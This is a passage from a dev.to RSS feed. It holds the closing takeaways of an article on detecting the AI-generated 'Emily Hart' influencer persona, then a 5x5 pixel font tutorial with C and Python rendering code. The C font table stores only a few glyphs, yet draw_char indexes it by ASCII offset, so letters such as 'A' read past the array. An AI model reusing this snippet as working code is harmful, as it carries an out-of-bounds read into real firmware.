&lt;p&gt;&lt;strong&gt;If you're a researcher or independent developer:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The open-source community needs better detection tooling — this is a genuine opportunity to contribute&lt;/li&gt;
&lt;li&gt;Datasets like &lt;strong&gt;FaceForensics++&lt;/strong&gt; and &lt;strong&gt;DFDC&lt;/strong&gt; are freely available for training detection models&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Ethical Dimension We Can't Ignore
&lt;/h2&gt;

&lt;p&gt;It's tempting to frame this purely as a technical problem with a technical solution. But the Emily Hart case is fundamentally about manipulation — political manipulation, at scale, by an anonymous actor exploiting the trust people place in online communities.&lt;/p&gt;

&lt;p&gt;The 'MAGA' influencer angle here matters specifically because political influence operations are designed to exploit ideological tribal instincts. Whether the target is conservative or liberal audiences, the mechanism is the same: build a credible persona, earn trust, inject narratives.&lt;/p&gt;

&lt;p&gt;Developers built the tools that made this possible. Developers also need to build the countermeasures.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Emily Hart persona&lt;/strong&gt; was a GAN/diffusion-generated AI model layered with LLM-generated content to impersonate a 'MAGA' influencer&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The technical stack&lt;/strong&gt; is entirely open-source and accessible — detection tools need to keep pace&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Forensic signals&lt;/strong&gt; like EXIF absence, symmetry scores, and behavioral cadence can flag synthetic accounts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Developers have a responsibility&lt;/strong&gt; — both in how they deploy generative AI and in building detection infrastructure&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regulatory and platform-level responses&lt;/strong&gt; are lagging; the technical community needs to lead&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Want to dive deeper into synthetic media detection, AI ethics, or building responsible AI systems? [[Follow for developer-focused deep dives on AI security and emerging tech]] — I publish new breakdowns every week.&lt;/p&gt;

&lt;p&gt;Drop your thoughts in the comments: Have you encountered synthetic personas online? What detection methods have you found most effective? Let's build better tools together.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Tags: #ai #machinelearning #deepfake #cybersecurity #ethics&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>deepfake</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>5x5 Pixel Font for Tiny Screens: The Complete Developer Guide to Micro Typography</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 16:16:34 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/5x5-pixel-font-for-tiny-screens-the-complete-developer-guide-to-micro-typography-22d1</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/5x5-pixel-font-for-tiny-screens-the-complete-developer-guide-to-micro-typography-22d1</guid>
      <description>&lt;h1&gt;
  
  
  5x5 Pixel Font for Tiny Screens: The Complete Developer Guide to Micro Typography
&lt;/h1&gt;

&lt;p&gt;You're staring at a 128×64 OLED display, a tiny e-ink badge, or a retro game screen — and suddenly you realize your fancy TrueType font is completely useless. You need &lt;em&gt;every pixel to count&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Welcome to the world of the 5×5 pixel font: the unsung hero of embedded development, retro gaming, and wearable tech. In this guide, we'll break down everything you need to know — from the theory behind micro typography to rendering your own characters in code.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why a 5×5 Pixel Font?
&lt;/h2&gt;

&lt;p&gt;When working with tiny screens — think SSD1306 OLEDs, Nokia 5110 LCDs, or even low-resolution LED matrix panels — standard fonts simply don't fit. A typical 8×8 bitmap font already feels large on a 32-pixel-tall display. A 5×5 font gives you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;More characters per line&lt;/strong&gt; — on a 128-pixel-wide screen, you can fit ~25 characters vs. ~16 with an 8×8 font&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;More lines per screen&lt;/strong&gt; — critical for data-dense UIs like sensor dashboards&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retro aesthetic&lt;/strong&gt; — perfect for indie games, pixel art tools, and demoscene projects&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Minimal memory footprint&lt;/strong&gt; — each glyph fits in as few as 3–5 bytes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tradeoff? Readability is a craft. Every pixel decision is intentional, and designing or choosing the right 5×5 font requires understanding the constraints deeply.&lt;/p&gt;




&lt;h2&gt;
  
  
  Anatomy of a 5×5 Glyph
&lt;/h2&gt;

&lt;p&gt;A 5×5 pixel font means each character fits inside a 5-column by 5-row grid. With a 1-pixel gap added between characters, you effectively work with a 6×5 cell per character in horizontal layout.&lt;/p&gt;

&lt;p&gt;Here's what the letter &lt;strong&gt;A&lt;/strong&gt; might look like in a 5×5 grid:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;. X X X .
 X . . . X
 X X X X X
 X . . . X
 X . . . X
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Translated to binary rows (1 = lit pixel, 0 = dark):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Row 0: 0 1 1 1 0  → 0x0E
Row 1: 1 0 0 0 1  → 0x11
Row 2: 1 1 1 1 1  → 0x1F
Row 3: 1 0 0 0 1  → 0x11
Row 4: 1 0 0 0 1  → 0x11
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives us a compact 5-byte representation per glyph — incredibly efficient for microcontrollers with limited flash storage.&lt;/p&gt;




&lt;h2&gt;
  
  
  Storing the Font in Code
&lt;/h2&gt;

&lt;p&gt;Let's look at how to store a basic 5×5 font in C, suitable for Arduino, STM32, or any embedded platform.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Each character is stored as 5 bytes (one per row)&lt;/span&gt;
&lt;span class="c1"&gt;// Bit 4 (MSB of 5-bit value) = leftmost pixel&lt;/span&gt;

&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;font5x5&lt;/span&gt;&lt;span class="p"&gt;[][&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Space (ASCII 32)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="c1"&gt;// ! (ASCII 33)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x04&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="c1"&gt;// A (ASCII 65)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0x0E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="c1"&gt;// B (ASCII 66)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0x1E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1E&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="c1"&gt;// C (ASCII 67)&lt;/span&gt;
  &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="c1"&gt;// ... continue for full ASCII range&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To render a character at position &lt;code&gt;(x, y)&lt;/code&gt; on a pixel buffer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;draw_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;framebuffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fb_width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// offset from ASCII space&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;row_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;font5x5&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row_data&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;px&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;framebuffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;fb_width&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;px&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;draw_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;fb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;fb_width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;draw_char&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fb_width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 5px glyph + 1px spacing&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is clean, portable, and works on any device where you can write pixels to a buffer.&lt;/p&gt;




&lt;h2&gt;
  
  
  Python Example for Prototyping
&lt;/h2&gt;

&lt;p&gt;Before burning code to hardware, prototype your font rendering in Python with Pillow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;PIL&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ImageDraw&lt;/span&gt;

&lt;span class="n"&gt;font5x5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x0E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;B&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1E&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;C&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;draw_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;
    &lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;
    &lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;draw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageDraw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Draw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;img&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;char&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;glyph&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;font5x5&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;char&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;font5x5&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;row_data&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;glyph&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;row_data&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;
                    &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;scale&lt;/span&gt;
                    &lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rectangle&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;fill&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;img&lt;/span&gt;

&lt;span class="n"&gt;img&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;draw_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ABC&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
